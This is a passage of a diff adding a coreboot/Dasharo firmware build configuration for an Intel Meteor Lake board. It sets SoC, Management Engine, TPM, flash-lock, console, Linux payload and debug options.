+CONFIG_CPU_MAX_TEMPERATURE=110 +CONFIG_IOE_PCR_BASE_ADDRESS=0x60000000 +CONFIG_SOC_INTEL_USB2_DEV_MAX=10 +CONFIG_SOC_INTEL_USB3_DEV_MAX=2 +CONFIG_SOC_INTEL_METEORLAKE_DEBUG_CONSENT=0 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x800000 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x100f +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x100f +CONFIG_IOE_DIE_CLOCK_START=6 +CONFIG_SOC_INTEL_CSE_FW_PARTITION_CMOS_OFFSET=161 +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_SLP_S0_FREQ_HZ=0x2005 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=42 +CONFIG_INTEL_TME=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +CONFIG_CAR_HAS_SF_MASKS=y +CONFIG_COS_MAPPED_TO_MSB=y +CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y +CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y +CONFIG_CPU_SUPPORTS_INTEL_TME=y +CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT=y +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +CONFIG_INTEL_KEYLOCKER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE=2 +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_SET_EOP=y +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY=y +CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY_V2=y +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_18=y +CONFIG_ME_SPEC=18 +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_IOSTANDBY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PMODE_4BITS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_GFX_NON_PREFETCHABLE_MMIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IOC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IOE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y +CONFIG_PCIE_CLOCK_CONTROL_THROUGH_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y +CONFIG_PMC_IPC_ACPI_INTERFACE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y +# CONFIG_TCSS_HAS_USBC_OPS is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y +CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +# CONFIG_FIRMWARE_CONNECTION_MANAGER is not set +CONFIG_SOFTWARE_CONNECTION_MANAGER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y +CONFIG_ENABLE_EARLY_DMA_PROTECTION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set +CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y +# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set +CONFIG_SOC_INTEL_CRASHLOG=y +CONFIG_SOC_INTEL_IOE_DIE_SUPPORT=y + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_DEFAULT_X2APIC_LATE_WORKAROUND=y +# CONFIG_XAPIC_ONLY is not set +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +CONFIG_X2APIC_LATE_WORKAROUND=y +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_X86_INIT_NEED_1_SIPI=y +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_SYSTEM76_EC=y +# CONFIG_EC_SYSTEM76_EC_UPDATE is not set + +# +# Intel Firmware +# +# CONFIG_IFDTOOL_DISABLE_ME is not set +CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +CONFIG_HAVE_INTEL_ME_HAP=y +# CONFIG_INTEL_ME_DISABLED_HECI is not set +CONFIG_INTEL_ME_DISABLED_HAP=y +# CONFIG_INTEL_ME_ENABLED is not set +CONFIG_INTEL_ME_DEFAULT_STATE=2 +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_BIOS_VENDOR="3mdeb" + +# +# Dasharo +# + +# +# Dasharo Configuration +# +CONFIG_DASHARO_PREFER_S3_SLEEP=y +CONFIG_DASHARO_FIRMWARE_UPDATE_MODE=y +# end of Dasharo Configuration + +CONFIG_UDK_BASE=y +# CONFIG_UDK_202005_BINDING is not set +CONFIG_UDK_202302_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=202302 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_CUSTOM_BOOTMEDIA=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +# CONFIG_VGA_ROM_RUN is not set +CONFIG_RUN_FSP_GOP=y +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +CONFIG_BOOTSPLASH=y +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y +CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR=y +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y +CONFIG_PCIEXP_HOTPLUG_IO=0x800 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +CONFIG_MRC_CACHE_USING_MRC_VERSION=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +CONFIG_TPM_PPI=y +CONFIG_DRIVERS_UART=y +CONFIG_NO_UART_ON_SUPERIO=y +CONFIG_DRIVERS_UART_8250MEM=y +CONFIG_DRIVERS_UART_8250MEM_32=y +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +CONFIG_DRIVERS_I2C_GENERIC=y +CONFIG_DRIVERS_I2C_HID=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_1=y +CONFIG_PLATFORM_USES_FSP2_2=y +CONFIG_PLATFORM_USES_FSP2_3=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_FSPS_HAS_ARCH_UPD=y +CONFIG_FSPS_USE_MULTI_PHASE_INIT=y +CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_FSP_ENABLE_SERIAL_DEBUG=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_INTEL_GMA_OPREGION_2_1=y +CONFIG_INTEL_GMA_VERSION_2=y +CONFIG_DRIVERS_INTEL_PMC=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=n +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +CONFIG_MP_SERVICES_PPI=y +CONFIG_MP_SERVICES_PPI_V2=y +CONFIG_DRIVERS_INTEL_USB4_RETIMER=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +# CONFIG_DEBUG_TPM is not set +CONFIG_TPM_RDRESP_NEED_DELAY=y +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_LOCK_WPRO_VBOOT_RO is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_FIXED_UART_FOR_CONSOLE=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_CONSOLE_SYSTEM76_EC is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" + +# +# Dasharo specific payload options +# +# end of Dasharo specific payload options + +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_DISPLAY_FSP_VERSION_INFO_2=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# 